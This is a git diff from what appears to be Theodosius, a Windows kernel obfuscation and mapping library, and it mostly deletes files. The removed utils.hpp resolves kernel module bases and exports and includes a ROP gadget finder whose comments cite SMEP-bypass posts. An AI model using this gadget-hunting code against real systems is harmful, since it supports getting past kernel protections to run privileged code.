&proc_info); - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - - while (Process32Next(proc_snapshot, &proc_info)) - { - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - } - - CloseHandle(proc_snapshot); - return NULL; - } - - - namespace kmodule - { - using kmodule_callback_t = std::function; - inline void each_module(kmodule_callback_t callback) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - if (!callback(&modules->Modules[idx], full_path.c_str())) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - inline std::uintptr_t get_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const auto current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const auto result = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - inline std::uintptr_t get_export(const char* module_name, const char* export_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - const auto module_base = - LoadLibraryExA( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - if (!module_base) - { - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto image_base = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - - const auto export_um_addr = - reinterpret_cast( - GetProcAddress(module_base, export_name)); - - if (!export_um_addr) - return NULL; - - return (export_um_addr - reinterpret_cast(module_base)) + image_base; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - } - - namespace pe - { - using section_callback_t = std::function; - - // returns an std::vector containing all of the bytes of the section - // and also the RVA from the image base to the beginning of the section... - inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) - { - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // sometimes section names are not null terminated... - if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) - { - const auto section_base = - reinterpret_cast( - module_base + section_header[idx].VirtualAddress); - - const auto section_end = - reinterpret_cast( - section_base + section_header[idx].Misc.VirtualSize); - - std::vector section_bin(section_base, section_end); - return { section_bin, section_header[idx].VirtualAddress }; - } - } - - return { {}, {} }; - } - - inline void each_section(section_callback_t callback, std::uintptr_t module_base) - { - if (!module_base) - return; - - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // keep looping until the callback returns false... - if (!callback(§ion_header[idx], module_base)) - return; - } - } - } - - namespace rop - { - // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ - // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 - // just implimented the rop information from these posts... - inline std::uintptr_t find_kgadget(const char* sig, const char* mask) - { - std::uintptr_t result = 0u; - kmodule::each_module( - [&](auto kernel_image, const char* image_name) -> bool - { - utils::pe::each_section( - [&](auto section_header, std::uintptr_t image_base) -> bool - { - if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && - !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) - { - const auto rop_gadget = - utils::scan(image_base + section_header->VirtualAddress, - section_header->Misc.VirtualSize, sig, mask); - - if (rop_gadget) - result = (rop_gadget - image_base) + - reinterpret_cast(kernel_image->ImageBase); - - return !rop_gadget; - } - return true; - }, - reinterpret_cast( - LoadLibraryExA(image_name, - NULL, DONT_RESOLVE_DLL_REFERENCES)) - ); - return !result; - } - ); - return result; - } - } -} \ No newline at end of file diff --git a/dependencies/cmake.toml b/dependencies/cmake.toml new file mode 100644 index 0000000..354c425 --- /dev/null +++ b/dependencies/cmake.toml @@ -0,0 +1,3 @@ +[target.linux-pe] +type = "interface" +include-directories = ["linux-pe/includes/"] \ No newline at end of file diff --git a/dependencies/dependencies.rar b/dependencies/dependencies.rar deleted file mode 100644 index 496ed25..0000000 Binary files a/dependencies/dependencies.rar and /dev/null differ diff --git a/dependencies/googletest b/dependencies/googletest new file mode 160000 index 0000000..af29db7 --- /dev/null +++ b/dependencies/googletest @@ -0,0 +1 @@ +Subproject commit af29db7ec28d6df1c7f0f745186884091e602e07 diff --git a/dependencies/linux-pe b/dependencies/linux-pe new file mode 160000 index 0000000..4f83eae --- /dev/null +++ b/dependencies/linux-pe @@ -0,0 +1 @@ +Subproject commit 4f83eae434696201f5075d65b11bf8329c6d218a diff --git a/dependencies/mbuild b/dependencies/mbuild new file mode 160000 index 0000000..09b6654 --- /dev/null +++ b/dependencies/mbuild @@ -0,0 +1 @@ +Subproject commit 09b6654be0c52bf1df44e88c88b411a67b624cbd diff --git a/dependencies/xed b/dependencies/xed new file mode 160000 index 0000000..d57a3bd --- /dev/null +++ b/dependencies/xed @@ -0,0 +1 @@ +Subproject commit d57a3bd0a8ad7a1f0c6e2a1b58060d9014021098 diff --git a/include/linker.hpp b/include/linker.hpp deleted file mode 100644 index c0e4647..0000000 --- a/include/linker.hpp +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include "utils.hpp" - -namespace lnk -{ - enum theo_type - { - obfuscate = 1, - mutate = 2, - encrypt = 3 - }; - - struct symbol_t - { - // name of the symbol... not mangled... - std::string symbol_name; - - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation - std::uint32_t type; - - // what section this symbol is in... - std::uint32_t section_number; - - // offset into section... - std::uint32_t section_offset; - - // file offset into OBJ file... - std::uint32_t file_offset; - - // only used by functions... size in bytes of routine... - std::uint32_t size; - - // if this symbol is a function and is inside of a .theo section... - theo_type obfuscate_type; - }; - - // redef of IMAGE_RELOCATION so that "VirtualAddress" - // will actually be a file offset instead of a section offset... - struct image_reloc_t - { - // name of the symbol to be resolved for example "ExAllocatePool"... - std::string resolve_symbol_name; - - // offset into the obj file where the resolving needs to be done... - std::uint32_t file_offset; - - // type of data that needs to be resolved... this will be 64bit addresses... - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators - std::uint16_t type; - }; - - using obj_buffer_t = std::vector; - using map_symbols_t = std::map>; - - auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t; - auto get_objs(std::string lib_path, std::vector& objs) -> bool; - auto get_map_symbols(std::string map_path) -> map_symbols_t; - - namespace sym - { - auto get_all(obj_buffer_t& obj) -> std::vector; - auto get_relocs(obj_buffer_t& obj)->std::vector; - } - - namespace section - { - using section_callback_t = std::function; - auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER; - auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; - } -} \ No newline at end of file diff --git a/include/theo.h b/include/theo.h deleted file mode 100644 index 3615438..0000000 --- a/include/theo.h +++ /dev/null @@ -1,40 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -namespace obfuscation{ class obfuscate; } -namespace lnk { using obj_buffer_t = std::vector; } - -namespace theo -{ - using malloc_t = std::function; - using memcpy_t = std::function; - - using resolve_symbol_t = std::function; - using mapper_routines_t = std::tuple; - - class hmm_ctx - { - public: - explicit hmm_ctx(const mapper_routines_t& routines); - auto map_objs(std::vector& objs) -> bool; - auto get_symbol(std::string symbol_name) -> std::uintptr_t; - - malloc_t alloc; - memcpy_t mcopy; - resolve_symbol_t resolve_symbol; - private: - bool map_symbols(std::vector& objs); - bool map_obfuscated_symbols(std::vector& objs); - - bool resolve_relocs(std::vector& objs); - bool alloc_obfuscated_symbol_space(std::vector& objs); - bool alloc_symbol_space(std::vector& objs); - - std::map mapped_symbols; - std::map> obfuscated_gadgets; - }; -} \ No newline at end of file diff --git a/include/theo.hpp b/include/theo.hpp new file mode 100644 index 0000000..e69de29 diff --git a/include/utils.hpp b/include/utils.hpp deleted file mode 100644 index 48d9c73..0000000 --- a/include/utils.hpp +++ /dev/null @@ -1,428 +0,0 @@ -/* - WARNING: utils.hpp must be the first file included... - this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... -*/ - -#pragma once -#define _CRT_SECURE_NO_WARNINGS -#pragma comment(lib, "ntdll.lib") - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -inline bool dbg_print = false; -#define DBG_PRINT(format, ...) \ - if (dbg_print) std::printf(format, __VA_ARGS__ ) - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; - } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 -typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION -{ - struct - { - ULONG KvaShadowEnabled : 1; - ULONG KvaShadowUserGlobal : 1; - ULONG KvaShadowPcid : 1; - ULONG KvaShadowInvpcid : 1; - ULONG KvaShadowRequired : 1; - ULONG KvaShadowRequiredAvailable : 1; - ULONG InvalidPteBit : 6; - ULONG L1DataCacheFlushSupported : 1; - ULONG L1TerminalFaultMitigationPresent : 1; - ULONG Reserved : 18; - } KvaShadowFlags; -} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; - -namespace utils -{ - inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) - { - static const auto check_mask = - [&](const char* base, const char* pattern, const char* mask) -> bool - { - for (; *mask; ++base, ++pattern, ++mask) - if (*mask == 'x' && *base != *pattern) - return false; - return true; - }; - - size -= strlen(mask); - for (auto i = 0; i <= size; ++i) - { - void* addr = (void*)&(((char*)base)[i]); - if (check_mask((char*)addr, pattern, mask)) - return reinterpret_cast(addr); - } - - return NULL; - } - - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - inline std::uint32_t get_pid(const wchar_t* proc_name) - { - PROCESSENTRY32 proc_info; - proc_info.dwSize = sizeof(proc_info); - - HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (proc_snapshot == INVALID_HANDLE_VALUE) - return NULL; - - Process32First(proc_snapshot, &proc_info); - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - - while (Process32Next(proc_snapshot, &proc_info)) - { - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - } - - CloseHandle(proc_snapshot); - return NULL; - } - - - namespace kmodule - { - using kmodule_callback_t = std::function; - inline void each_module(kmodule_callback_t callback) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - if (!callback(&modules->Modules[idx], full_path.c_str())) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - inline std::uintptr_t get_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const auto current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const auto result = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - inline std::uintptr_t get_export(const char* module_name, const char* export_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - const auto module_base = - LoadLibraryExA( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - if (!module_base) - { - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto image_base = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - - const auto export_um_addr = - reinterpret_cast( - GetProcAddress(module_base, export_name)); - - if (!export_um_addr) - return NULL; - - return (export_um_addr - reinterpret_cast(module_base)) + image_base; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - } - - namespace pe - { - using section_callback_t = std::function; - - // returns an std::vector containing all of the bytes of the section - // and also the RVA from the image base to the beginning of the section... - inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) - { - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // sometimes section names are not null terminated... - if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) - { - const auto section_base = - reinterpret_cast( - module_base + section_header[idx].VirtualAddress); - - const auto section_end = - reinterpret_cast( - section_base + section_header[idx].Misc.VirtualSize); - - std::vector section_bin(section_base, section_end); - return { section_bin, section_header[idx].VirtualAddress }; - } - } - - return { {}, {} }; - } - - inline void each_section(section_callback_t callback, std::uintptr_t module_base) - { - if (!module_base) - return; - - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // keep looping until the callback returns false... - if (!callback(§ion_header[idx], module_base)) - return; - } - } - } - - namespace rop - { - // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ - // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 - // just implimented the rop information from these posts... - inline std::uintptr_t find_kgadget(const char* sig, const char* mask) - { - std::uintptr_t result = 0u; - kmodule::each_module( - [&](auto kernel_image, const char* image_name) -> bool - { - utils::pe::each_section( - [&](auto section_header, std::uintptr_t image_base) -> bool - { - if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && - !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) - { - const auto rop_gadget = - utils::scan(image_base + section_header->VirtualAddress, - section_header->Misc.VirtualSize, sig, mask); - - if(rop_gadget) - result = (rop_gadget - image_base) + - reinterpret_cast(kernel_image->ImageBase); - - return !rop_gadget; - } - return true; - }, - reinterpret_cast( - LoadLibraryExA(image_name, - NULL, DONT_RESOLVE_DLL_REFERENCES)) - ); - return !result; - } - ); - return result; - } - } -} \ No newline at end of file diff --git a/resources/imgs/HVCI-Not Supported-red.svg b/resources/imgs/HVCI-Not Supported-red.svg deleted file mode 100644 index df3197a..0000000 --- a/resources/imgs/HVCI-Not Supported-red.svg +++ /dev/null @@ -1 +0,0 @@ -HVCI: Not SupportedHVCINot Supported \ No newline at end of file diff --git a/resources/imgs/MSREXEC-Inherited-green.svg b/resources/imgs/MSREXEC-Inherited-green.svg deleted file mode 100644 index 98483ff..0000000 --- a/resources/imgs/MSREXEC-Inherited-green.svg +++ /dev/null @@ -1 +0,0 @@ -MSREXEC: InheritedMSREXECInherited \ No newline at end of file diff --git a/resources/imgs/VDM-Inherited-green.svg b/resources/imgs/VDM-Inherited-green.svg deleted file mode 100644 index ec26836..0000000 --- a/resources/imgs/VDM-Inherited-green.svg +++ /dev/null @@ -1 +0,0 @@ -VDM: InheritedVDMInherited \ No newline at end of file diff --git a/resources/imgs/client-imgui.png b/resources/imgs/client-imgui.png deleted file mode 100644 index ce1c308..0000000 Binary files a/resources/imgs/client-imgui.png and /dev/null differ diff --git a/resources/imgs/client-msrexec.png b/resources/imgs/client-msrexec.png deleted file mode 100644 index e326095..0000000 Binary files a/resources/imgs/client-msrexec.png and /dev/null differ diff --git a/resources/imgs/client-vdm.png b/resources/imgs/client-vdm.png deleted file mode 100644 index 28ef82d..0000000 Binary files a/resources/imgs/client-vdm.png and /dev/null differ diff --git a/resources/imgs/imgui-demo.png b/resources/imgs/imgui-demo.png deleted file mode 100644 index 4f0c155..0000000 Binary files a/resources/imgs/imgui-demo.png and /dev/null differ diff --git a/resources/imgs/kernel-example-1.png b/resources/imgs/kernel-example-1.png deleted file mode 100644 index a8508b8..0000000 Binary files a/resources/imgs/kernel-example-1.png and /dev/null differ diff --git a/resources/imgs/kernel-example-2.png b/resources/imgs/kernel-example-2.png deleted file mode 100644 index d853585..0000000 Binary files a/resources/imgs/kernel-example-2.png and /dev/null differ diff --git a/resources/imgs/theo.jpg b/resources/imgs/theo.jpg deleted file mode 100644 index c0248d0..0000000 Binary files a/resources/imgs/theo.jpg and /dev/null differ diff --git a/resources/imgs/um-example-2.png b/resources/imgs/um-example-2.png deleted file mode 100644 index 5327f31..0000000 Binary files a/resources/imgs/um-example-2.png and /dev/null differ diff --git a/resources/imgs/um-example.png b/resources/imgs/um-example.png deleted file mode 100644 index fd6c320..0000000 Binary files a/resources/imgs/um-example.png and /dev/null differ diff --git a/resources/imgs/unknown.png b/resources/imgs/unknown.png deleted file mode 100644 index 630c944..0000000 Binary files a/resources/imgs/unknown.png and /dev/null differ diff --git a/resources/llvm-obfuscator-compiled.rar b/resources/llvm-obfuscator-compiled.rar deleted file mode 100644 index 5d33271..0000000 Binary files a/resources/llvm-obfuscator-compiled.rar and /dev/null differ diff --git a/src/Theodosius/Theodosius.sln b/src/Theodosius/Theodosius.sln deleted file mode 100644 index 5808a8a..0000000 --- a/src/Theodosius/Theodosius.sln +++ /dev/null @@ -1,25 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.30907.101 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius", "Theodosius.vcxproj", "{BE437FEC-EA25-4E93-9B73-A028F9DD698F}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x64.ActiveCfg = Debug|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x64.Build.0 = Debug|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x64.ActiveCfg = Release|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x64.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {F162AC8C-7E8E-4B3E-881E-D551E80764BB} - EndGlobalSection -EndGlobal diff --git a/src/Theodosius/Theodosius.vcxproj b/src/Theodosius/Theodosius.vcxproj deleted file mode 100644 index 89c1829..0000000 --- a/src/Theodosius/Theodosius.vcxproj +++ /dev/null @@ -1,278 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {BE437FEC-EA25-4E93-9B73-A028F9DD698F} - Theodosius - 10.0 - Theodosius - - - - StaticLibrary - true - v142 - Unicode - - - StaticLibrary - false - v142 - true - Unicode - - - - - - - - - - - - - - - - true - $(ProjectDir);$(IncludePath) - - - false - $(ProjectDir);$(IncludePath) - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - Zydis.lib;Zycore.lib;%(AdditionalDependencies) - - - true - - - ;$(ProjectDir)libs\Zydis.lib;$(ProjectDir)libs\Zycore.lib - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - true - true - Zydis.lib;Zycore.lib;%(AdditionalDependencies) - - - %(AdditionalDependencies);$(ProjectDir)libs\Zydis.lib;$(ProjectDir)libs\Zycore.lib - - - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/Theodosius/Theodosius.vcxproj.filters b/src/Theodosius/Theodosius.vcxproj.filters deleted file mode 100644 index 43c0969..0000000 --- a/src/Theodosius/Theodosius.vcxproj.filters +++ /dev/null @@ -1,560 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {8d07ce7e-3b56-4b27-bb05-d12987f22384} - - - {77c3f715-9d9f-488e-a1d5-542124a490b0} - - - {c89c1fbb-39b5-4954-9774-0c2600773705} - - - {db8b5110-ec16-4fc2-80cc-7241ccbfec1c} - - - {c51e3b93-1496-49d7-838f-825d75b29ee6} - - - {d28d9202-4139-42a0-9f49-71beb5e01670} - - - {a847dc8c-08a3-4ea7-a20d-157963dd41a8} - - - {706001e9-56f5-41d2-b209-9f5543d0bd11} - - - {a8e52093-e1b2-4ef3-b427-ebea8772bbbf} - - - {da6ded33-7d62-4f83-b8e7-4d343fe49cd7} - - - {244a52bf-80cb-43ac-ac0d-a6aad89b9eb0} - - - - - Source Files - - - Source Files - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - 